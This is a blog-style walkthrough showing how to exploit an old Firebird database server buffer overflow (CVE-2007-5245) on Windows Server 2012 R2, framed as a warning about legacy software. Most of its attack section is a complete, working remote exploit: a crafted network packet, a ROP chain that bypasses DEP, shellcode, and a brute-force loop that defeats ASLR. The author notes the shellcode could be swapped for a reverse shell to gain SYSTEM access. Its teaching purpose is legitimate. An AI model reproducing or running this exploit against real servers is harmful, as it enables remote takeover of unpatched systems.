There is a lot of legacy software running all over the network. This is an excellent example of technological debt. And the debt means that we are borrowing. We borrow time before compromise.

It’s quite easy to identify that some software or system is outdated and no longer supported. Yet, it seems that no one has the will or power to make the change. The need for an upgrade is obvious, so what is the problem? Well, it’s usually one of these situations where the solution:

> was implemented by a third party, and locally no one has knowledge of its inner workings,
> was created by a company that is out of business and there is simply no upgrade path,
> upgrade is so complicated and time consuming that it is unprofitable (so the solution was inadequate in the first place).

This is the technological debt in its simplest form. Many companies are stuck with old and unsupported software. Also this solution is doing its job on a daily basis, so no one feels the urge to do something about it.

What about pentest reports that describe it as a vulnerability? Can it be neglected?

Well, let’s find out.

A simple, classic stack-based buffer overflow

We will take a closer look at CVE-2007-5245:

“Multiple stack-based buffer overflows in Firebird LI 1.5.3.4870 and 1.5.4.4910, and WI 1.5.3.4870 and 1.5.4.4910, allow remote attackers to execute arbitrary code via (1) a long service attach request on TCP port 3050 to the SVC_attach function or (2) unspecified vectors involving the INET_connect function.”

Firebird default installation has two interesting properties:

> fbguard service looks for Firebird process and if it crashes, it will be started again (this will become very handy in a moment),
> fbserver process is running with NT AUTHORITY\SYSYTEM privileges, so in case of a successful exploitation, the shellcode will run with the same privileges.

So let’s create a virtual machine running Windows Server 2012 R2 and Firebird 1.5.3.4870 (reasonable production setup, just trust me on this one) and take a look around for an existing exploit. Hey! There is a Metasploit module fb_svc_attach by Risesecurity, but their site seems to be down. Quick look at the Internet Archive reveals some more details:

“Vendor was notified, but did not answer to our reports”

Well, wouldn't you know? Let’s give it a spin!

So the exploit was executed, and I can confirm this by watching Wireshark (to get details, what’s on wire), the Firebird process has crashed but nothing else happened. There is no calc.exe process.

We will need more tools:

> Immunity Debugger – this is my weapon of choice in this case, but any debugger will be sufficient,
> mona – this is a Python script that can automate some work in Immunity.

The hex code 0x48 0x99 0x41 0xFD 0x98 ... corresponds to the metasploit encoded shellcode (the one that runs calc.exe). So the EIP (Extended Instruction Pointer) register was overwritten, effectively taking control over the program execution but there was an access violation, so the code was not executed.

This is the DEP (Data Execution Prevention) mechanism. DEP is enabled by default on Windows Server 2012 R2.

This would probably work on Windows 10, which by default sets this option to “Turn on DEP for essential Windows programs and services only” but not in this case.

DEP is a simple and clever way of marking memory regions with a Read, Write and eXecute flags or some combination of them. As you can probably guess, stack space lacks the eXecute flag, so no code can be run from it.

There are some techniques to bypass DEP but they usually require that the program uses some libraries that are not ASLR enabled. I'm getting way ahead of myself here but quick recon shows that the only one non-ASLR binary used is msvcp60.dll which unfortunately does not contain any useful gadgets.

ASLR (Address Space Layout Randomization) is another security mechanism that loads binaries in the process address space at random locations. So if a bad actor does not know the right address to jump to, it is not possible to exploit any existing function.

It is also worth noting that the function that copies our data to the stack is strncpy. It is therefore not possible to use so-called null-bytes in the exploit. strncpy function stops copying the data after 0x00 value is met.

Does that mean that this setup is safe and no exploitation can be achieved? Well, no, not really. Let’s take this exploit to a whole new level!

Proof of Concept

So, to quickly recap:

> DEP is blocking execution of the shellcode on the stack,
> We will have to use some ASLR enabled binary to bypass DEP,
> The exploit cannot use any null-bytes,
> The goal is to overwrite the memory on the stack at a location that will be loaded into the EIP register.

From the original metasploit module we know that EIP is overwritten at offset 308. It is not too much considering that we need to bypass DEP and execute shellcode. So, let’s overwrite some more of the memory and we will find out if it is reliable.

It is common to overwrite memory with hex 0x41 but in case of success (that means, some register will be loaded with modified memory content), it may be hard to identify which 0x41 it is. So let’s create some cyclic, non-repeating pattern to overwrite with.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1500

The 1500 bytes should be enough to accommodate the full payload.

I will start by writing an exploit base.

#!/usr/bin/env python3
                  import socket
                  import struct
                  import sys
      
                  payload_size = 1500
      
      
                  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      
                  service_of_death = b''
                  service_of_death += struct.pack('>I', 0x00000052)
                  service_of_death += b'\x00' * 4
      
                  headshot = b''
                  headshot += b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9'
                  headshot += b'A' * (payload_size - len(headshot))
      
                  stuff = b''
                  stuff += b'\x00\x00\x00\x04'
                  stuff += b'A' * 4
      
                  service_of_death += struct.pack('>I', len(service_of_death + headshot + stuff) - 8 - 8)
      
                  payload = b''
                  payload += service_of_death + headshot + stuff
      
                  s.connect(("192.168.1.10", 3050))
                  s.send(payload)
                  s.close()
                  

So, let’s try to execute it.

Well, we overwrite EIP for sure, but also something else. It seems that the ESI register value was also on the stack and our process does some other work before returning. Hence the access violation on write.

We can only overwrite contiguous blocks of data on stack, so there is no possibility to skip this address. But we can put something meaningful there, like for example some address in msvcp60.dll which is not ASLR enabled, so the address will be static.

A good candidate would be 0x7811b012 which lives in the .data segment of msvcp60.dll.

This is a good moment to use mona. As we used a cyclic pattern, mona can tell us which part of the pattern was placed in the ESI register. This is done by typing

!mona findmsp

And we can see it found “ESI contains normal pattern : 0x336b4132 (offset 308)”. Great, let's put that into our code (candidate address at offset 308).

headshot = b''
                  headshot += b'[...]k1Ak'
                  #2Ak3
                  headshot += struct.pack('<I', 0x7811b012)
                  headshot += b'Ak4A[...]'

Another run and the same situation but this time the code wants to read from the ESI pointed address. Let’s find another candidate in msvcp60.dll, from the .rdata section.

headshot = b''
                  headshot += b'[...]k1Ak'
                  #2Ak3
                  headshot += struct.pack('<I', 0x7811b012)
                  headshot += b'Ak4Ak5Ak6Ak7Ak8A'
                  #k9Al
                  headshot += struct.pack('<I', 0x780eb012)
                  headshot += b'0Al1[...]'

Finally! We can overwrite the EIP register value. And our whole payload is copied to the stack.

So, knowing all the offsets, we can refactor this code.

headshot = b''
                  headshot += b'A' * 304
                  headshot += struct.pack('<I', 0x780c724e) # ADD ESP,0C # RETN    ** [MSVCP60.dll] **   |  ascii {PAGE_EXECUTE_READ}
                  headshot += struct.pack('<I', 0x7811b012)
                  headshot += b'A' * 8
                  headshot += struct.pack('<I', 0x780c724e) # ADD ESP,0C # RETN    ** [MSVCP60.dll] **   |  ascii {PAGE_EXECUTE_READ}
                  headshot += b'A' * 4
                  headshot += struct.pack('<I', 0x780eb012)
                  headshot += b'A' * 4

There is the 0x780c724e address from msvcp60.dll, this will become clear in a moment.

The next step is to bypass DEP. A common technique for this is the ROP Chain. We cannot execute code on the stack, but we can put any address on it. Like the one that points to a code that already exists in the server memory and is located in a segment that is marked with an eXecute flag. This code should be only a few instructions long and must end with RET opcode. This way we will jump to different locations of the process image, execute a few instructions and return to our stack, to jump again and again.

This way no code is executed on stack, but we control the program flow, so it's executing what we want. This short instruction batch with RET at the end is called gadget.

The idea is to execute the VirtualProtect() function, to mark the memory just after our ROP Chain with the eXecute flag, this is the place where our shellcode lives.

This ROP Chain can be assembled by hand or we can ask mona to generate one.

!mona rop -m msvcrt.dll -cp nonull

Mona quickly creates the following ROP Chain:

#[---INFO:gadgets_to_set_esi:---]
                        0x75923334,  # POP EAX # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0x7598c1ac,  # ptr to &VirtualProtect() [IAT MSVCRT.dll] ** REBASED ** ASLR
                        0x75964d1c,  # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # POP EBP # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0x41414141,  # Filler (compensate)
                        0x41414141,  # Filler (compensate)
                        0x75911bb0,  # XCHG EAX,ESI # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        #[---INFO:gadgets_to_set_ebp:---]
                        0x75970e95,  # POP EBP # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0x75920b9d,  # & call esp [MSVCRT.dll] ** REBASED ** ASLR
                        #[---INFO:gadgets_to_set_ebx:---]
                        0x7591da23,  # POP EAX # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0xa2bf41ce,  # put delta into eax (-> put 0x00000201 into ebx)
                        0x75984eab,  # ADD EAX,5D40C033 # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0x7597ec2e,  # XCHG EAX,EBX # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        #[---INFO:gadgets_to_set_edx:---]
                        0x75906467,  # POP EAX # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0xa2bf400d,  # put delta into eax (-> put 0x00000040 into edx)
                        0x75984eab,  # ADD EAX,5D40C033 # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0x75933faa,  # XCHG EAX,EDX # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        #[---INFO:gadgets_to_set_ecx:---]
                        0x75965352,  # POP ECX # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0x7598756c,  # &Writable location [MSVCRT.dll] ** REBASED ** ASLR
                        #[---INFO:gadgets_to_set_edi:---]
                        0x7591cc78,  # POP EDI # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0x759742e9,  # RETN (ROP NOP) [MSVCRT.dll] ** REBASED ** ASLR
                        #[---INFO:gadgets_to_set_eax:---]
                        0x75906467,  # POP EAX # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0x90909090,  # nop
                        #[---INFO:pushad:---]
                        0x75952b17,  # PUSHAD # RETN [MSVCRT.dll] ** REBASED ** ASLR 

Mona will also create a file with interesting gadgets. Remember the 0x780c724e address? After we overwrite EIP there is also an ESI register twice on the stack. We need to jump over it, straight into our ROP Chain. This gadget is equivalent to:

# ADD ESP,0C # RETN

So we will use it twice.

There is clear information that those gadgets come from ASLR enabled binary and instruction addresses are rebased but we will worry about this later.

So, the final missing piece is shellcode. We can generate one with msfvenom. Just don’t forget to inform it, that we have bad-chars.

msfvenom -p windows/exec CMD=”calc.exe” -f py --bad-chars=’\x00’

And the output is ready to copy&paste it into our exploit:

buf =  b""
                  buf += b"\xba\xa5\xbc\x2a\x7d\xd9\xea\xd9\x74\x24\xf4\x5e\x29"
                  buf += b"\xc9\xb1\x31\x31\x56\x13\x83\xee\xfc\x03\x56\xaa\x5e"
                  buf += b"\xdf\x81\x5c\x1c\x20\x7a\x9c\x41\xa8\x9f\xad\x41\xce"
                  buf += b"\xd4\x9d\x71\x84\xb9\x11\xf9\xc8\x29\xa2\x8f\xc4\x5e"
                  buf += b"\x03\x25\x33\x50\x94\x16\x07\xf3\x16\x65\x54\xd3\x27"
                  buf += b"\xa6\xa9\x12\x60\xdb\x40\x46\x39\x97\xf7\x77\x4e\xed"
                  buf += b"\xcb\xfc\x1c\xe3\x4b\xe0\xd4\x02\x7d\xb7\x6f\x5d\x5d"
                  buf += b"\x39\xbc\xd5\xd4\x21\xa1\xd0\xaf\xda\x11\xae\x31\x0b"
                  buf += b"\x68\x4f\x9d\x72\x45\xa2\xdf\xb3\x61\x5d\xaa\xcd\x92"
                  buf += b"\xe0\xad\x09\xe9\x3e\x3b\x8a\x49\xb4\x9b\x76\x68\x19"
                  buf += b"\x7d\xfc\x66\xd6\x09\x5a\x6a\xe9\xde\xd0\x96\x62\xe1"
                  buf += b"\x36\x1f\x30\xc6\x92\x44\xe2\x67\x82\x20\x45\x97\xd4"
                  buf += b"\x8b\x3a\x3d\x9e\x21\x2e\x4c\xfd\x2f\xb1\xc2\x7b\x1d"
                  buf += b"\xb1\xdc\x83\x31\xda\xed\x08\xde\x9d\xf1\xda\x9b\x52"
                  buf += b"\xb8\x47\x8d\xfa\x65\x12\x8c\x66\x96\xc8\xd2\x9e\x15"
                  buf += b"\xf9\xaa\x64\x05\x88\xaf\x21\x81\x60\xdd\x3a\x64\x87"
                  buf += b"\x72\x3a\xad\xe4\x15\xa8\x2d\xc5\xb0\x48\xd7\x19"

So we can put a breakpoint at 0x780c724e and step through the code.

And I can step through our shellcode that lives on a stack. No access violation now. It works! Except it doesn’t.

These addresses in ROP Chain are valid only until the next reboot: ASLR, remember? Windows-based operating systems change base addresses on every reboot.

But wait, we can make some clever observations. This is a 32-bit application. So valid addresses for msvcrt.dll are somewhere between 0x74F00000 and 0x77500000 (those are not the exact numbers, but you got the point). It's not much of a space… Something like 0x2530000. And they can change every 0x10000 bytes. So we have less than 600 combinations!

Remember our friend fbguard? We can crash the Firebird process as much as we like and it will be brought back like… Fenix (Firebird) from the ashes.

So time for the last, final piece of code. We will add a command line parameter to our exploit, an integer. It will be added or subtracted from the addresses of ROP Chain.

A careful reader could notice that there is a corner case. If msvcrt.dll is placed on an address that will contain 0x00 byte, the exploit will not work. This is true, but we can always rewrite our ROP Chain in a different way, to compensate for this.

The final code looks as follows:

#!/usr/bin/env python3
                  import socket
                  import struct
                  import sys
      
                  payload_size = 1500
      
      
                  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      
                  rebase = int(sys.argv[1]) * 0x10000
      
                  def create_rop_chain():
      
                      # rop chain generated with mona.py - www.corelan.be
                      rop_gadgets = [
                        #[---INFO:gadgets_to_set_esi:---]
                        0x75923334 + rebase,  # POP EAX # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0x7598c1ac + rebase,  # ptr to &VirtualProtect() [IAT MSVCRT.dll] ** REBASED ** ASLR
                        0x75964d1c + rebase,  # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # POP EBP # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0x41414141,  # Filler (compensate)
                        0x41414141,  # Filler (compensate)
                        0x75911bb0 + rebase,  # XCHG EAX,ESI # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        #[---INFO:gadgets_to_set_ebp:---]
                        0x75970e95 + rebase,  # POP EBP # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0x75920b9d + rebase,  # & call esp [MSVCRT.dll] ** REBASED ** ASLR
                        #[---INFO:gadgets_to_set_ebx:---]
                        0x7591da23 + rebase,  # POP EAX # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0xa2bf41ce,  # put delta into eax (-> put 0x00000201 into ebx)
                        0x75984eab + rebase,  # ADD EAX,5D40C033 # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0x7597ec2e + rebase,  # XCHG EAX,EBX # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        #[---INFO:gadgets_to_set_edx:---]
                        0x75906467 + rebase,  # POP EAX # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0xa2bf400d,  # put delta into eax (-> put 0x00000040 into edx)
                        0x75984eab + rebase,  # ADD EAX,5D40C033 # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0x75933faa + rebase,  # XCHG EAX,EDX # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        #[---INFO:gadgets_to_set_ecx:---]
                        0x75965352 + rebase,  # POP ECX # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0x7598756c + rebase,  # &Writable location [MSVCRT.dll] ** REBASED ** ASLR
                        #[---INFO:gadgets_to_set_edi:---]
                        0x7591cc78 + rebase,  # POP EDI # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0x759742e9 + rebase,  # RETN (ROP NOP) [MSVCRT.dll] ** REBASED ** ASLR
                        #[---INFO:gadgets_to_set_eax:---]
                        0x75906467 + rebase,  # POP EAX # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                        0x90909090,  # nop
                        #[---INFO:pushad:---]
                        0x75952b17 + rebase,  # PUSHAD # RETN [MSVCRT.dll] ** REBASED ** ASLR 
                      ]
                      return b''.join(struct.pack('<I', _) for _ in rop_gadgets)
      
      
                  buf =  b""
                  buf += b"\xba\xa5\xbc\x2a\x7d\xd9\xea\xd9\x74\x24\xf4\x5e\x29"
                  buf += b"\xc9\xb1\x31\x31\x56\x13\x83\xee\xfc\x03\x56\xaa\x5e"
                  buf += b"\xdf\x81\x5c\x1c\x20\x7a\x9c\x41\xa8\x9f\xad\x41\xce"
                  buf += b"\xd4\x9d\x71\x84\xb9\x11\xf9\xc8\x29\xa2\x8f\xc4\x5e"
                  buf += b"\x03\x25\x33\x50\x94\x16\x07\xf3\x16\x65\x54\xd3\x27"
                  buf += b"\xa6\xa9\x12\x60\xdb\x40\x46\x39\x97\xf7\x77\x4e\xed"
                  buf += b"\xcb\xfc\x1c\xe3\x4b\xe0\xd4\x02\x7d\xb7\x6f\x5d\x5d"
                  buf += b"\x39\xbc\xd5\xd4\x21\xa1\xd0\xaf\xda\x11\xae\x31\x0b"
                  buf += b"\x68\x4f\x9d\x72\x45\xa2\xdf\xb3\x61\x5d\xaa\xcd\x92"
                  buf += b"\xe0\xad\x09\xe9\x3e\x3b\x8a\x49\xb4\x9b\x76\x68\x19"
                  buf += b"\x7d\xfc\x66\xd6\x09\x5a\x6a\xe9\xde\xd0\x96\x62\xe1"
                  buf += b"\x36\x1f\x30\xc6\x92\x44\xe2\x67\x82\x20\x45\x97\xd4"
                  buf += b"\x8b\x3a\x3d\x9e\x21\x2e\x4c\xfd\x2f\xb1\xc2\x7b\x1d"
                  buf += b"\xb1\xdc\x83\x31\xda\xed\x08\xde\x9d\xf1\xda\x9b\x52"
                  buf += b"\xb8\x47\x8d\xfa\x65\x12\x8c\x66\x96\xc8\xd2\x9e\x15"
                  buf += b"\xf9\xaa\x64\x05\x88\xaf\x21\x81\x60\xdd\x3a\x64\x87"
                  buf += b"\x72\x3a\xad\xe4\x15\xa8\x2d\xc5\xb0\x48\xd7\x19"
      
                  rop_chain = b''
                  rop_chain += create_rop_chain()
      
                  service_of_death = b''
                  service_of_death += struct.pack('>I', 0x00000052)
                  service_of_death += b'\x00' * 4
      
                  headshot = b''
                  headshot += b'A' * 304
                  headshot += struct.pack('<I', 0x780c724e) # ADD ESP,0C # RETN    ** [MSVCP60.dll] **   |  ascii {PAGE_EXECUTE_READ}
                  headshot += struct.pack('<I', 0x7811b012)
                  headshot += b'A' * 8
                  headshot += struct.pack('<I', 0x780c724e) # ADD ESP,0C # RETN    ** [MSVCP60.dll] **   |  ascii {PAGE_EXECUTE_READ}
                  headshot += b'A' * 4
                  headshot += struct.pack('<I', 0x780eb012)
                  headshot += b'A' * 4
      
                  headshot += rop_chain
                  headshot += buf
      
                  headshot += b'A' * (payload_size -  len(headshot + rop_chain + buf))
      
                  stuff= b''
                  stuff+= b'\x00\x00\x00\x04'
                  stuff+= b'A' * 4
      
                  service_of_death += struct.pack('>I', len(service_of_death + headshot + stuff) - 8 - 8)
      
                  payload = b''
                  payload += service_of_death + headshot + stuff
      
                  print(hex(0x758d0000 + rebase))
      
                  s.connect(("192.168.1.10", 3050))
                  s.send(payload)
                  s.close()

And we can now call it as below (the base address of msvcrt.dll in the moment of creating ROP Chain was 0x758d0000, hence the values in curly braces, to cover the entire possible range).

for i in {-157..451}; do; ./exploit.py $i; sleep 10; done

So… keep calm and wait for the correct base address...

And just under half an hour, here it is. The Almighty Calculator, running with NT AUTHORITY\SYSTEM privileges. It’s kinda scary. Well, if you see calc.exe on your server running with these privileges, you know that something is going on…

Of course this does not have to be calc.exe, it can be a reverse shell as well.

Conclusion

In this article I demonstrated that even very old vulnerabilities, despite security mechanisms like DEP or ASLR, can still bite. Running legacy software is almost alway a very, very bad idea.

The main takeaway here is that creating new systems is relatively easy, managing them is the tricky part.

Keep your stuff up to date, and see you on another vuln.